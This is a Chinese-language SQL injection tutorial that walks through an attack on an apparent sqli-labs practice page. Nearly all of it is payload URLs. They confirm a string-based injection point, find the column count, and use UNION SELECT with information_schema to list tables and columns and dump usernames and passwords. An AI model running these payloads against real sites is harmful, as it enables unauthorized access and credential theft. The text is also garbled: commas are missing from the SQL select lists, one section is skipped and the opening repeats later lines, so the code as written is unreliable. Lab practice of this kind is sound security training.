sql注入攻击原理及防御策略:渗透测试SQL注入原理-字符型注入
sql注入攻击原理及防御策略:渗透测试SQL注入原理-字符型注入通过排序确定该表的字段数为3http://192.168.110.187/sqlinto/Less-1/?id=1' order by 3 -- http://192.168.110.187/sqlinto/Less-1/?id=1' and 1=2 -- 经检验确认为字符型注入 ,数据库查询语句为:select user passwd from users where id='$id';
一、判断注入点类型
1、单引号测试
通过报错猜测是字符型注入;
2、进行验证:http://192.168.110.187/sqlinto/Less-1/?id=1' and 1=1 -- 闭合语句发现页面正常显示
http://192.168.110.187/sqlinto/Less-1/?id=1' and 1=2 --
经检验确认为字符型注入 ,数据库查询语句为:
select user passwd from users where id='$id';
二、确定字段数http://192.168.110.187/sqlinto/Less-1/?id=1' order by 3 --
通过排序确定该表的字段数为3
http://192.168.110.187/sqlinto/Less-1/?id=1' union select 1 2 3 --
由于查询语句前面是对的,所以显示前面的内容,后面的无法显示,不能确定显示位置,所以更改语句,使得前面的语句为错,显示后面的内容:
http://192.168.110.187/sqlinto/Less-1/?id=-1' union select 1 2 3 --
确定显示为是2,3字段
四、查询库名以及敏感信息http://192.168.110.187/sqlinto/Less-1/?id=-1' union select 1 version() database() --
字段数为3,所以1在这表示占位,version()查询数据库版本,database()查询数据库库名
得到MySQL版本:5.7.36 当前数据库名:security
五、查询表名http://192.168.110.187/sqlinto/Less-1/?id=-1' union select 1 2 group_concat(table_name) from information_schema.tables where table_schema="security" --
security数据库中有四个表:emails referers uagents users
六、查询列名http://192.168.110.187/sqlinto/Less-1/?id=-1' union select 1 2 group_concat(column_name) from information_schema.columns where table_name="users" --
查询发现对我们有用的字段:username password
七、查询用户名和密码http://192.168.110.187/sqlinto/Less-1/?id=-1' union select 1 2 group_concat(username ' ' password "<br>") from users --